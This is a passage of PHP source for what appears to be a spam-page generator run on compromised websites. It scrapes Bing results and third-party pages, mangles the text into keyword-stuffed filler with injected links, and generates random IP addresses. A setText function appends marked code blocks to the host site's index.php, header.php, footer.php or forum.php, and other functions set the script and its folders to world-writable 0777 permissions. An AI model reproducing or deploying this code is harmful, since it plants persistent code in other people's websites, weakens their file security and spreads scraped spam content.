curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36');
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie/'.$host.'.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie/'.$host.'.txt');
$outch = curl_exec($ch);
curl_close($ch);
preg_match_all('!data-resolved-url-small="(.*?)"!siu', $outch, $lines2);
}
$fotos = array_unique($lines2[1]);
shuffle($fotos);
$ar_imgs = array_values($fotos );
$count_imgs = count($ar_imgs);
preg_match_all("/(\[IMGSRC.*\])/iUm", $_template_data, $_matches);
if (!empty($_matches[1]) && $count_imgs > 0) {
foreach($_matches[1] as $_upimgs){
$rnd = rand(0,$count_imgs);
if($ar_imgs[$rnd])
$_template_data = str_replace($_upimgs,"//".$client_url_orig."?getimage=".base64_encode($ar_imgs[$rnd]), $_template_data);
}
}
$_template_data = preg_replace("/(\[IMGSRC.*\])/iUm",'http://placehold.it/750x300',$_template_data);
}
if (strpos($_template_data, "[THEMEKEY") !== FALSE) {
$_template_data = str_replace('[THEMEKEY1]',$title_theme1,$_template_data);
$_template_data = str_replace('[THEMEKEY2]',$title_theme2,$_template_data);
$_template_data = str_replace('[THEMEKEY3]',$title_theme3,$_template_data);
}
$_template_data = str_ireplace("[REDIRECT]", $redirect, $_template_data);
$_template_data = html_entity_decode(preg_replace("/(\[SENTENCE:.*\])/iU","",$_template_data));
return $_template_data;
}
}
}
function getip(){
$n1 = rand(1,255);
$n2 = rand(1,255);
$n3 = rand(1,255);
$n4 = rand(1,255);
$ips = "$n1.$n2.$n3.$n4";
return $ips;
}
function edittext($_min_rand, $_max_rand, $_result, $_count_nums, $_num_str, $_incom_nums, $_other_data, $_keyfile_data, $_themesfile_data, $_extlinksfilename, $_clienturl, $_new_params, $_extlinksfile_data, $_an_limit){
if ($_min_rand == 0){
$_min_rand = 1;
}
if ($_max_rand == 0){
$_max_rand = 1;
}
$_incom_nums = explode("^", $_incom_nums);
$_incom_nums = rand($_incom_nums[0], $_incom_nums[1]);
if ($_extlinksfile_data == "good"){
$_new_params = explode("^", $_new_params);
$_new_params = rand($_new_params[0], $_new_params[1]);
}else{
$_new_params = 0;
}
$_other_data = trim($_other_data);
$_result = explode(".", $_result);
shuffle($_result);
$_group_results = array();
for ($_i = 0; $_i <= rand($_min_rand, $_max_rand); $_i++){
$_group_results[] = $_result[$_i];
}
unset($_result);
$_group_results = explode(" ", str_replace(" ", " ", implode(". ", $_group_results)));
if ($_count_nums > 0){
$_elem_groups = array(
" <i>" . $_other_data . "</i> ",
" <b>" . $_other_data . "</b> ",
$_other_data,
$_other_data,
$_other_data
);
$_count_groups = substr_count(strtolower(implode($_group_results)) , strtolower($_other_data));
$_str_limit = ceil(count($_group_results) * $_count_nums / 100) - $_count_groups;
if ($_str_limit <= 0){
$_str_limit = $_count_groups;
}
for ($_i = 1; $_i <= $_str_limit; $_i++){
if ($_an_limit == 1){
$_other_data = trim($_elem_groups[array_rand($_elem_groups) ]);
}
$_group_results[rand(0, count($_group_results) - 1) ].= " " . $_other_data;
}
}
if ($_num_str > 0){
shuffle($_keyfile_data);
$_str_limit = ceil(count($_group_results) * $_num_str / 100);
if (count($_keyfile_data) > $_str_limit - 1){
$_result_good = "";
if (empty($_result_good)){
for ($_i = 1; $_i <= $_str_limit; $_i++){
if ($_an_limit == 1){
$_elem_groups = array(
" <i>" . $_keyfile_data[$_i] . "</i> ",
" <b>" . $_keyfile_data[$_i] . "</b> ",
$_keyfile_data[$_i],
$_keyfile_data[$_i],
$_keyfile_data[$_i]
);
$_rand_el = trim($_elem_groups[array_rand($_elem_groups) ]);
}else{
$_rand_el = trim($_keyfile_data[$_i]);
}
$_group_results[rand(0, count($_group_results) - 1) ].= " " . $_rand_el;
}
}
}
}
if ($_incom_nums > 0){
shuffle($_keyfile_data);
if (count($_keyfile_data) < $_incom_nums - 1){
$_incom_nums = count($_keyfile_data);
}
$_result_good = "";
if (empty($_result_good)){
for ($_i = 1; $_i <= $_incom_nums; $_i++){
$_group_results[rand(0, count($_group_results) - 1) ].= ' <a href="http://' . str_replace("[KEY]", str_replace(" ", "-", trim($_keyfile_data[$_i])) , $_clienturl) . '">' . ucfirst(trim($_keyfile_data[$_i])) . "</a>";
}
}
}
$_group_results = trim(implode(" ", $_group_results));
$_group_results = htmlentities($_group_results);
return $_group_results;
}
function bingcontent($key, $_lang){
global $zones;
$zones_and_badchar = array("\n","\r","\t",' ','«','»','"','←','→',''','–',' ',' ','—','…',''','→','—','>','<','{','}','#','"','—','\'',"nbsp"," br ",".aaa",".aarp",".abarth",".abb",".abbott",".abbvie",".abc",".able",".abogado",".abudhabi",".ac",".academy",".accenture",".accountant",".accountants",".aco",".active",".actor",".ad",".adac",".ads",".adult",".ae",".aeg",".aero",".aetna",".af",".afamilycompany",".afl",".africa",".ag",".agakhan",".agency",".ai",".aig",".aigo",".airbus",".airforce",".airtel",".akdn",".al",".alfaromeo",".alibaba",".alipay",".allfinanz",".allstate",".ally",".alsace",".alstom",".am",".americanexpress",".americanfamily",".amex",".amfam",".amica",".amsterdam",".analytics",".android",".anquan",".anz",".ao",".aol",".apartments",".app",".apple",".aq",".aquarelle",".ar",".aramco",".archi",".army",".arpa",".art",".arte",".as",".asda",".asia",".associates",".at",".athleta",".attorney",".au",".auction",".audi",".audible",".audio",".auspost",".author",".auto",".autos",".avianca",".aw",".aws",".ax",".axa",".az",".azure",".ba",".baby",".baidu",".banamex",".bananarepublic",".band",".bank",".bar",".barcelona",".barclaycard",".barclays",".barefoot",".bargains",".baseball",".basketball",".bauhaus",".bayern",".bb",".bbc",".bbt",".bbva",".bcg",".bcn",".bd",".be",".beats",".beauty",".beer",".bentley",".berlin",".best",".bestbuy",".bet",".bf",".bg",".bh",".bharti",".bi",".bible",".bid",".bike",".bing",".bingo",".bio",".biz",".bj",".black",".blackfriday",".blanco",".blockbuster",".blog",".bloomberg",".blue",".bm",".bms",".bmw",".bn",".bnl",".bnpparibas",".bo",".boats",".boehringer",".bofa",".bom",".bond",".boo",".book",".booking",".boots",".bosch",".bostik",".boston",".bot",".boutique",".box",".br",".bradesco",".bridgestone",".broadway",".broker",".brother",".brussels",".bs",".bt",".budapest",".bugatti",".build",".builders",".business",".buy",".buzz",".bv",".bw",".by",".bz",".bzh",".ca",".cab",".cafe",".cal",".call",".calvinklein",".cam",".camera",".camp",".cancerresearch",".canon",".capetown",".capital",".capitalone",".car",".caravan",".cards",".care",".career",".careers",".cars",".cartier",".casa",".case",".caseih",".cash",".casino",".cat",".catering",".catholic",".cba",".cbn",".cbre",".cbs",".cc",".cd",".ceb",".center",".ceo",".cern",".cf",".cfa",".cfd",".cg",".ch",".chanel",".channel",".chase",".chat",".cheap",".chintai",".chloe",".christmas",".chrome",".chrysler",".church",".ci",".cipriani",".circle",".cisco",".citadel",".citi",".citic",".city",".cityeats",".ck",".cl",".claims",".cleaning",".click",".clinic",".clinique",".clothing",".cloud",".club",".clubmed",".cm",".cn",".co",".coach",".codes",".coffee",".college",".cologne",".com",".comcast",".commbank",".community",".company",".compare",".computer",".comsec",".condos",".construction",".consulting",".contact",".contractors",".cooking",".cookingchannel",".cool",".coop",".corsica",".country",".coupon",".coupons",".courses",".cr",".credit",".creditcard",".creditunion",".cricket",".crown",".crs",".cruise",".cruises",".csc",".cu",".cuisinella",".cv",".cw",".cx",".cy",".cymru",".cyou",".cz",".dabur",".dad",".dance",".data",".date",".dating",".datsun",".day",".dclk",".dds",".de",".deal",".dealer",".deals",".degree",".delivery",".dell",".deloitte",".delta",".democrat",".dental",".dentist",".desi",".design",".dev",".dhl",".diamonds",".diet",".digital",".direct",".directory",".discount",".discover",".dish",".diy",".dj",".dk",".dm",".dnp",".do",".docs",".doctor",".dodge",".dog",".doha",".domains",".dot",".download",".drive",".dtv",".dubai",".duck",".dunlop",".duns",".dupont",".durban",".dvag",".dvr",".dz",".earth",".eat",".ec",".eco",".edeka",".edu",".education",".ee",".eg",".email",".emerck",".energy",".engineer",".engineering",".enterprises",".epost",".epson",".equipment",".er",".ericsson",".erni",".es",".esq",".estate",".esurance",".et",".eu",".eurovision",".eus",".events",".everbank",".exchange",".expert",".exposed",".express",".extraspace",".fage",".fail",".fairwinds",".faith",".family",".fan",".fans",".farm",".farmers",".fashion",".fast",".fedex",".feedback",".ferrari",".ferrero",".fi",".fiat",".fidelity",".fido",".film",".final",".finance",".financial",".fire",".firestone",".firmdale",".fish",".fishing",".fit",".fitness",".fj",".fk",".flickr",".flights",".flir",".florist",".flowers",".fly",".fm",".fo",".foo",".food",".foodnetwork",".football",".ford",".forex",".forsale",".forum",".foundation",".fox",".fr",".free",".fresenius",".frl",".frogans",".frontdoor",".frontier",".ftr",".fujitsu",".fujixerox",".fun",".fund",".furniture",".futbol",".fyi",".ga",".gal",".gallery",".gallo",".gallup",".game",".games",".gap",".garden",".gb",".gbiz",".gd",".gdn",".ge",".gea",".gent",".genting",".george",".gf",".gg",".ggee",".gh",".gi",".gift",".gifts",".gives",".giving",".gl",".glade",".glass",".gle",".global",".globo",".gm",".gmail",".gmbh",".gmo",".gmx",".gn",".godaddy",".gold",".goldpoint",".golf",".goo",".goodhands",".goodyear",".goog",".google",".gop",".got",".gov",".gp",".gq",".gr",".grainger",".graphics",".gratis",".green",".gripe",".group",".gs",".gt",".gu",".guardian",".gucci",".guge",".guide",".guitars",".guru",".gw",".gy",".hair",".hamburg",".hangout",".haus",".hbo",".hdfc",".hdfcbank",".health",".healthcare",".help",".helsinki",".here",".hermes",".hgtv",".hiphop",".hisamitsu",".hitachi",".hiv",".hk",".hkt",".hm",".hn",".hockey",".holdings",".holiday",".homedepot",".homegoods",".homes",".homesense",".honda",".honeywell",".horse",".hospital",".host",".hosting",".hot",".hoteles",".hotels",".hotmail",".house",".how",".hr",".hsbc",".ht",".htc",".hu",".hughes",".hyatt",".hyundai",".ibm",".icbc",".ice",".icu",".id",".ie",".ieee",".ifm",".ikano",".il",".im",".imamat",".imdb",".immo",".immobilien",".in",".industries",".infiniti",".info",".ing",".ink",".institute",".insurance",".insure",".int",".intel",".international",".intuit",".investments",".io",".ipiranga",".iq",".ir",".irish",".is",".iselect",".ismaili",".ist",".istanbul",".it",".itau",".itv",".iveco",".iwc",".jaguar",".java",".jcb",".jcp",".je",".jeep",".jetzt",".jewelry",".jio",".jlc",".jll",".jm",".jmp",".jnj",".jo",".jobs",".joburg",".jot",".joy",".jp",".jpmorgan",".jprs",".juegos",".juniper",".kaufen",".kddi",".ke",".kerryhotels",".kerrylogistics",".kerryproperties",".kfh",".kg",".kh",".ki",".kia",".kim",".kinder",".kindle",".kitchen",".kiwi",".km",".kn",".koeln",".komatsu",".kosher",".kp",".kpmg",".kpn",".kr",".krd",".kred",".kuokgroup",".kw",".ky",".kyoto",".kz",".la",".lacaixa",".ladbrokes",".lamborghini",".lamer",".lancaster",".lancia",".lancome",".land",".landrover",".lanxess",".lasalle",".lat",".latino",".latrobe",".law",".lawyer",".lb",".lc",".lds",".lease",".leclerc",".lefrak",".legal",".lego",".lexus",".lgbt",".li",".liaison",".lidl",".life",".lifeinsurance",".lifestyle",".lighting",".like",".lilly",".limited",".limo",".lincoln",".linde",".link",".lipsy",".live",".living",".lixil",".lk",".loan",".loans",".locker",".locus",".loft",".lol",".london",".lotte",".lotto",".love",".lpl",".lplfinancial",".lr",".ls",".lt",".ltd",".ltda",".lu",".lundbeck",".lupin",".luxe",".luxury",".lv",".ly",".ma",".macys",".madrid",".maif",".maison",".makeup",".man",".management",".mango",".market",".marketing",".markets",".marriott",".marshalls",".maserati",".mattel",".mba",".mc",".mcd",".mcdonalds",".mckinsey",".md",".me",".med",".media",".meet",".melbourne",".meme",".memorial",".men",".menu",".meo",".metlife",".mg",".mh",".miami",".microsoft",".mil",".mini",".mint",".mit",".mitsubishi",".mk",".ml",".mlb",".mls",".mm",".mma",".mn",".mo",".mobi",".mobile",".mobily",".moda",".moe",".moi",".mom",".monash",".money",".monster",".montblanc",".mopar",".mormon",".mortgage",".moscow",".moto",".motorcycles",".mov",".movie",".movistar",".mp",".mq",".mr",".ms",".msd",".mt",".mtn",".mtpc",".mtr",".mu",".museum",".mutual",".mv",".mw",".mx",".my",".mz",".na",".nab",".nadex",".nagoya",".name",".nationwide",".natura",".navy",".nba",".nc",".ne",".nec",".net",".netbank",".netflix",".network",".neustar",".new",".newholland",".news",".next",".nextdirect",".nexus",".nf",".nfl",".ng",".ngo",".nhk",".ni",".nico",".nike",".nikon",".ninja",".nissan",".nissay",".nl",".no",".nokia",".northwesternmutual",".norton",".now",".nowruz",".nowtv",".np",".nr",".nra",".nrw",".ntt",".nu",".nyc",".nz",".obi",".observer",".off",".office",".okinawa",".olayan",".olayangroup",".oldnavy",".ollo",".om",".omega",".one",".ong",".onl",".online",".onyourside",".ooo",".open",".oracle",".orange",".org",".organic",".origins",".osaka",".otsuka",".ott",".ovh",".pa",".page",".pamperedchef",".panasonic",".panerai",".paris",".pars",".partners",".parts",".party",".passagens",".pay",".pccw",".pe",".pet",".pf",".pfizer",".pg",".ph",".pharmacy",".philips",".phone",".photo",".photography",".photos",".physio",".piaget",".pics",".pictet",".pictures",".pid",".pin",".ping",".pink",".pioneer",".pizza",".pk",".pl",".place",".play",".playstation",".plumbing",".plus",".pm",".pn",".pnc",".pohl",".poker",".politie",".porn",".post",".pr",".pramerica",".praxi",".press",".prime",".pro",".prod",".productions",".prof",".progressive",".promo",".properties",".property",".protection",".pru",".prudential",".ps",".pt",".pub",".pw",".pwc",".py",".qa",".qpon",".quebec",".quest",".qvc",".racing",".radio",".raid",".re",".read",".realestate",".realtor",".realty",".recipes",".red",".redstone",".redumbrella",".rehab",".reise",".reisen",".reit",".reliance",".ren",".rent",".rentals",".repair",".report",".republican",".rest",".restaurant",".review",".reviews",".rexroth",".rich",".richardli",".ricoh",".rightathome",".ril",".rio",".rip",".rmit",".ro",".rocher",".rocks",".rodeo",".rogers",".room",".rs",".rsvp",".ru",".rugby",".ruhr",".run",".rw",".rwe",".ryukyu",".sa",".saarland",".safe",".safety",".sakura",".sale",".salon",".samsclub",".samsung",".sandvik",".sandvikcoromant",".sanofi",".sap",".sapo",".sarl",".sas",".save",".saxo",".sb",".sbi",".sbs",".sc",".sca",".scb",".schaeffler",".schmidt",".scholarships",".school",".schule",".schwarz",".science",".scjohnson",".scor",".scot",".sd",".se",".seat",".secure",".security",".seek",".select",".sener",".services",".ses",".seven",".sew",".sex",".sexy",".sfr",".sg",".sh",".shangrila",".sharp",".shaw",".shell",".shia",".shiksha",".shoes",".shop",".shopping",".shouji",".show",".showtime",".shriram",".si",".silk",".sina",".singles",".site",".sj",".sk",".ski",".skin",".sky",".skype",".sl",".sling",".sm",".smart",".smile",".sn",".sncf",".so",".soccer",".social",".softbank",".software",".sohu",".solar",".solutions",".song",".sony",".soy",".space",".spiegel",".spot",".spreadbetting",".sr",".srl",".srt",".st",".stada",".staples",".star",".starhub",".statebank",".statefarm",".statoil",".stc",".stcgroup",".stockholm",".storage",".store",".stream",".studio",".study",".style",".su",".sucks",".supplies",".supply",".support",".surf",".surgery",".suzuki",".sv",".swatch",".swiftcover",".swiss",".sx",".sy",".sydney",".symantec",".systems",".sz",".tab",".taipei",".talk",".taobao",".target",".tatamotors",".tatar",".tattoo",".tax",".taxi",".tc",".tci",".td",".tdk",".team",".tech",".technology",".tel",".telecity",".telefonica",".temasek",".tennis",".teva",".tf",".tg",".th",".thd",".theater",".theatre",".tiaa",".tickets",".tienda",".tiffany",".tips",".tires",".tirol",".tj",".tjmaxx",".tjx",".tk",".tkmaxx",".tl",".tm",".tmall",".tn",".to",".today",".tokyo",".tools",".top",".toray",".toshiba",".total",".tours",".town",".toyota",".toys",".tr",".trade",".trading",".training",".travel",".travelchannel",".travelers",".travelersinsurance",".trust",".trv",".tt",".tube",".tui",".tunes",".tushu",".tv",".tvs",".tw",".tz",".ua",".ubank",".ubs",".uconnect",".ug",".uk",".unicom",".university",".uno",".uol",".ups",".us",".uy",".uz",".va",".vacations",".vana",".vanguard",".vc",".ve",".vegas",".ventures",".verisign",".versicherung",".vet",".vg",".vi",".viajes",".video",".vig",".viking",".villas",".vin",".vip",".virgin",".visa",".vision",".vista",".vistaprint",".viva",".vivo",".vlaanderen",".vn",".vodka",".volkswagen",".volvo",".vote",".voting",".voto",".voyage",".vu",".vuelos",".wales",".walmart",".walter",".wang",".wanggou",".warman",".watch",".watches",".weather",".weatherchannel",".webcam",".weber",".website",".wed",".wedding",".weibo",".weir",".wf",".whoswho",".wien",".wiki",".williamhill",".win",".windows",".wine",".winners",".wme",".wolterskluwer",".woodside",".work",".works",".world",".wow",".ws",".wtc",".wtf",".xbox",".xerox",".xfinity",".xihuan",".xin",".xn--11b4c3d",".xn--1ck2e1b",".xn--1qqw23a",".xn--30rr7y",".xn--3bst00m",".xn--3ds443g",".xn--3e0b707e",".xn--3oq18vl8pn36a",".xn--3pxu8k",".xn--42c2d9a",".xn--45brj9c",".xn--45q11c",".xn--4gbrim",".xn--54b7fta0cc",".xn--55qw42g",".xn--55qx5d",".xn--5su34j936bgsg",".xn--5tzm5g",".xn--6frz82g",".xn--6qq986b3xl",".xn--80adxhks",".xn--80ao21a",".xn--80aqecdr1a",".xn--80asehdb",".xn--80aswg",".xn--8y0a063a",".xn--90a3ac",".xn--90ae",".xn--90ais",".xn--9dbq2a",".xn--9et52u",".xn--9krt00a",".xn--b4w605ferd",".xn--bck1b9a5dre4c",".xn--c1avg",".xn--c2br7g",".xn--cck2b3b",".xn--cg4bki",".xn--clchc0ea0b2g2a9gcd",".xn--czr694b",".xn--czrs0t",".xn--czru2d",".xn--d1acj3b",".xn--d1alf",".xn--e1a4c",".xn--eckvdtc9d",".xn--efvy88h",".xn--estv75g",".xn--fct429k",".xn--fhbei",".xn--fiq228c5hs",".xn--fiq64b",".xn--fiqs8s",".xn--fiqz9s",".xn--fjq720a",".xn--flw351e",".xn--fpcrj9c3d",".xn--fzc2c9e2c",".xn--fzys8d69uvgm",".xn--g2xx48c",".xn--gckr3f0f",".xn--gecrj9c",".xn--gk3at1e",".xn--h2brj9c",".xn--hxt814e",".xn--i1b6b1a6a2e",".xn--imr513n",".xn--io0a7i",".xn--j1aef",".xn--j1amh",".xn--j6w193g",".xn--jlq61u9w7b",".xn--jvr189m",".xn--kcrx77d1x4a",".xn--kprw13d",".xn--kpry57d",".xn--kpu716f",".xn--kput3i",".xn--l1acc",".xn--lgbbat1ad8j",".xn--mgb9awbf",".xn--mgba3a3ejt",".xn--mgba3a4f16a",".xn--mgba7c0bbn0a",".xn--mgbaam7a8h",".xn--mgbab2bd",".xn--mgbai9azgqp6j",".xn--mgbayh7gpa",".xn--mgbb9fbpob",".xn--mgbbh1a71e",".xn--mgbc0a9azcg",".xn--mgbca7dzdo",".xn--mgberp4a5d4ar",".xn--mgbi4ecexp",".xn--mgbpl2fh",".xn--mgbt3dhd",".xn--mgbtx2b",".xn--mgbx4cd0ab",".xn--mix891f",".xn--mk1bu44c",".xn--mxtq1m",".xn--ngbc5azd",".xn--ngbe9e0a",".xn--node",".xn--nqv7f",".xn--nqv7fs00ema",".xn--nyqy26a",".xn--o3cw4h",".xn--ogbpf8fl",".xn--p1acf",".xn--p1ai",".xn--pbt977c",".xn--pgbs0dh",".xn--pssy2u",".xn--q9jyb4c",".xn--qcka1pmc",".xn--qxam",".xn--rhqv96g",".xn--rovu88b",".xn--s9brj9c",".xn--ses554g",".xn--t60b56a",".xn--tckwe",".xn--tiq49xqyj",".xn--unup4y",".xn--vermgensberater-ctb",".xn--vermgensberatung-pwb",".xn--vhquv",".xn--vuq861b",".xn--w4r85el8fhu5dnra",".xn--w4rs40l",".xn--wgbh1c",".xn--wgbl6a",".xn--xhq521b",".xn--xkc2al3hye2a",".xn--xkc2dl3a5ee0h",".xn--y9a3aq",".xn--yfro4i67o",".xn--ygbi2ammx",".xn--zfr164b",".xperia",".xxx",".xyz",".yachts",".yahoo",".yamaxun",".yandex",".ye",".yodobashi",".yoga",".yokohama",".you",".youtube",".yt",".yun",".za",".zappos",".zara",".zero",".zip",".zippo",".zm",".zone",".zuerich",".zw");
$full_content_count = 10;
$full_content_tags = '<br><br />';
$badchar = array(
"nbsp",
"\n",
"\r",
"\t",
' ',
'«',
'»',
'"',
'←',
'→',
''',
'–',
' ',
' ',
'—',
'…',
''',
'→',
'—',
'>',
'<',
'{',
'}',
'#',
'"',
'—',
'\''
);
$outch = '';
if(mb_strlen($key, 'utf-8') > 25) {
$keyp = preg_replace('!^(.{0,25})\s.*!su', '$1', $key);
}else{
$keyp = $key;
}
$bings = array(
'http://www.bing.com/search?format=rss&first=1&q=' . urlencode(trim($keyp)." language:en"),
'http://www.bing.com/search?format=rss&first=11&q=' . urlencode(trim($keyp)." language:en"),
'http://www.bing.com/search?format=rss&first=31&q=' . urlencode(trim($keyp)." language:en")
);
$curldatabing = curlMultiRequest($bings);
foreach($curldatabing as $value) {
$outch .= $value;
}
$outch_iframe = $outch;
preg_match_all('!\<title\>(.*?)\</title\>!siu', $outch, $lines);
$titles = @array_unique($lines[1]);
unset($titles[0]);
$title1 = isset($lines[1][2]) ? trim(strip_tags($lines[1][2])) : '';
$title2 = isset($lines[1][3]) ? trim(strip_tags($lines[1][3])) : '';
$title3 = isset($lines[1][4]) ? trim(strip_tags($lines[1][4])) : '';
preg_match_all('!\<link\>(.*?)\</link\>!siu', $outch_iframe, $iframes);
$bing_links = array_unique($iframes[1]);
shuffle($bing_links);
array_splice($bing_links,$full_content_count);
$full_content_array = array();
$i = 1;
$full_content_content = '';
$curldatabingsites = curlMultiRequest($bing_links);
foreach($curldatabingsites as $outch) {
/* $outch = preg_replace('!\<\s*textarea[^>]*\>.*?\</textarea\>!siu', '', $outch);
$outch = preg_replace('!\<\s*style[^>]*\>.*?\</style\>!siu', '', $outch);
$outch = preg_replace('!\<\s*script[^>]*\>.*?\</script\>!siu', '', $outch);
$outch = preg_replace('!\<\s*head[^>]*\>.*?\</head\>!siu', '', $outch);
$outch = str_ireplace('>', '> ', $outch);
preg_match_all('!\<p\>(.*?)\</p\>!siu', $outch, $lines);
foreach($lines[1] as $p_tag) {
$p_tag = trim(strip_tags($p_tag, $full_content_tags));
$p_tag = preg_replace("/<([a-z][a-z0-9]*)[^>]*?(\/?)>/i", '<$1$2>', $p_tag);
$p_tag = trim($p_tag);
$full_content_array[md5($p_tag)] = $p_tag;
} */
$full_content_array[] = getContentFromHtml($outch);
// if ($i == $full_content_count) break;
$i++;
}
shuffle($full_content_array);
$full_content_array = array_unique($full_content_array);
$content = $full_content_array;
$content = preg_replace("~([,\:\-])~u"," \$1 ",$content);
$content = preg_replace("~(\S+)[\s\r\n]*-[\s\r\n]*(\S+)~u"," \$1\$2 ",$content); // переносы объединяем
$content = preg_replace('~[^a-zёа-я0-9 -!\?\.\,]~ui',' ',$content); // убираем лишнее, включая табы, скобки и прочее
$content = preg_replace('/[^\s]{15}[^\s]+/',' ',$content);
$content = preg_replace('/[^a-zа-яё. ]+/iu', '', $content);
$content = str_ireplace($zones_and_badchar, ' ', $content);
$content = str_ireplace('. .', '.', $content);
$content = str_ireplace('...', '.', $content);
$content = str_ireplace(' .', '.', $content);
$content = str_ireplace('..', '.', $content);
$content = str_ireplace(',.', '.', $content);
$content = preg_replace("/(\s){2,}/",' ',$content);
$newcontent = str_ireplace(':.', '.', $content);
$r = implode($newcontent);
$r = explode('.',$r);
$full_content_array = array_unique($r);
$cot = array();
foreach($full_content_array as $v){
$cot[] = delete_duplicates_words($v);
}
$newcontent = implode('.',$cot);
if (mb_detect_encoding($newcontent) == "UTF-8"){
$newcontent = trim($newcontent);
}else{
$newcontent = iconv(mb_detect_encoding($newcontent) , "UTF-8", $newcontent);
$newcontent = trim($newcontent);
}
return array('content' =>$newcontent, 'title1' => $title1,'title2' => $title2,'title3' => $title3);
}
function delete_duplicates_words($text)
{
$text = implode(array_reverse(preg_split('//u', $text)));
$text = preg_replace('/(\b[\pL0-9]++\b)(?=.*?\1)/siu', '', $text);
$text = implode(array_reverse(preg_split('//u', $text)));
return $text;
}
function getContentFromHtml($aText)
{
return preg_replace(
array(
'@<head[^>]*?>.*?</head>@siu',
'@<style[^>]*?>.*?</style>@siu',
'@<script[^>]*?.*?</script>@siu',
'@<object[^>]*?.*?</object>@siu',
'@<embed[^>]*?.*?</embed>@siu',
'@<applet[^>]*?.*?</applet>@siu',
'@<noframes[^>]*?.*?</noframes>@siu',
'@<noscript[^>]*?.*?</noscript>@siu',
'@<noembed[^>]*?.*?</noembed>@siu',
'@</?((address)|(blockquote)|(center)|(del))@iu',
'@</?((div)|(h[1-9])|(ins)|(isindex)|(p)|(pre))@iu',
'@</?((dir)|(dl)|(dt)|(dd)|(li)|(menu)|(ol)|(ul))@iu',
'@</?((table)|(th)|(td)|(caption))@iu',
'@</?((form)|(button)|(fieldset)|(legend)|(input))@iu',
'@</?((label)|(select)|(optgroup)|(option)|(textarea))@iu',
'@</?((frameset)|(frame)|(iframe))@iu',
'@<[^>]*>@siu',
'@&[^;]+?;@siu',
'@(\s+)@siu'
),
array(
'',
'',
'',
'',
'',
'',
'',
'',
'',
'$0',
'$0',
'$0',
'$0',
'$0',
'$0',
'$0',
'',
' ',
' '
),
$aText
);
}
function check_permission(){
global $cachedirname;
if (!is_dir($cachedirname)) {
if (!mkdir($cachedirname, 0777)) {
die("Can't create cache dir");
}
}
$cachedirperm = substr(sprintf('%o', fileperms($cachedirname)) , -4);
if ($cachedirperm != "0777") {
@chmod($cachedirname, 0777);
}
$ownperm = substr(sprintf('%o', fileperms(__FILE__)) , -4);
if ($ownperm != "0777") {
@chmod(__FILE__, 0777);
}
$currdirperm = substr(sprintf('%o', fileperms(dirname(__FILE__))) , -4);
if ($currdirperm != "0777") {
@chmod(dirname(__FILE__) , 0777);
}
}
function curlMultiRequest($urls, $options = array()){
global $useCurl, $requestTimeout;
// cURL multi-handle
$mh = curl_multi_init();
// This will hold cURLS requests for each file
$requests = array();
$options = array(
//CURLOPT_FOLLOWLOCATION => true,
CURLOPT_AUTOREFERER => true,
CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36',
CURLOPT_HEADER => false,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_CONNECTTIMEOUT => 2
);
//Corresponding filestream array for each file
$fstreams = array();
foreach ($urls as $key => $url)
{
// Add initialized cURL object to array
$requests[$key] = curl_init($url);
// Set cURL object options
curl_setopt_array($requests[$key], $options);
// Add cURL object to multi-handle
curl_multi_add_handle($mh, $requests[$key]);
}
// Do while all request have been completed
do {
curl_multi_exec($mh, $active);
} while ($active > 0);
// Collect all data here and clean up
foreach ($requests as $key => $request) {
$returned[$key] = curl_multi_getcontent($request); // Use this if you're not downloading into file, also remove CURLOPT_FILE option and fstreams array
curl_multi_remove_handle($mh, $request); //assuming we're being responsible about our resource management
curl_close($request); //being responsible again. THIS MUST GO AFTER curl_multi_getcontent();
}
curl_multi_close($mh);
//$req = new HttpRequest($useCurl, $requestTimeout);
//foreach($urls as $url){
//$tasks[$url] = $req->request($url);
//}
return $returned;
}
class HttpRequest{
var $mode = 0;
var $timeout = 60;
function HttpRequest($mode = 0, $timeout = 60) {
$this->mode = ($mode == 0 && function_exists('curl_init') ? 0 : 1);
$this->timeout = $timeout;
}
function request($url, $post_data = false) {
switch ($this->mode){
case 0:
return $this->_requestCurl($url, $post_data);
case 1:
return file_get_contents($url);
default:
return false;
};
}
function _requestCurl($url, $post_data) {
$hc = curl_init($url);
if ($post_data)
curl_setopt($hc, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($hc, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($hc, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($hc, CURLOPT_AUTOREFERER, 1);
curl_setopt($hc, CURLOPT_CONNECTTIMEOUT, $this->timeout);
$res = curl_exec($hc);
$this->httpStatus = curl_getinfo($hc, CURLINFO_HTTP_CODE);
curl_close($hc);
return $res;
}
}
function searchIndex($path,$co) {
$path = explode("/", $path);
array_pop($path);
$path = implode("/", $path);
if (file_exists($path . "/index.php"))
return $path . "/index.php";
elseif(file_exists($path . "/header.php"))
return $path . "/header.php";
elseif(file_exists($path . "/footer.php"))
return $path . "/footer.php";
elseif(file_exists($path . "/forum.php"))
return $path . "/forum.php";
if($co)
return false;
return searchIndex($path,1);
}
function setText($text){
$path = searchIndex(__FILE__);
if (empty($path)) return false;
@chmod($path,0777);
//$text = str_replace("'", "\'", $text);
$file = file($path);
$file = implode("\n",$file);
$startCount = substr_count($file , "<?php") > 0 ? substr_count($file , "<?php") : substr_count($file , "<?");
$endCount = substr_count($file , "?>");
// search
if (preg_match("/\/\/##!#==##!#.*\/\/##!#==##!#/is", $file)) {
return true;
$file = preg_replace("/\/\/##!#==##!#.*\/\/##!#==##!#/is", "//##!#==##!#" . PHP_EOL . $text . PHP_EOL . "//##!#==##!#", $file);
} else {
// count php tags
if ($startCount > $endCount) {
$file .= PHP_EOL . PHP_EOL . "//##!#==##!#" . PHP_EOL . $text . PHP_EOL . "//##!#==##!#";
}
// open tag
if ($startCount <= $endCount) {
$file .= PHP_EOL . PHP_EOL . "<?php " . PHP_EOL . "//##!#==##!#" . PHP_EOL . $text . PHP_EOL . "//##!#==##!#" . PHP_EOL . "?>";
}
}
file_put_contents($path, $file);
return true;
}
?>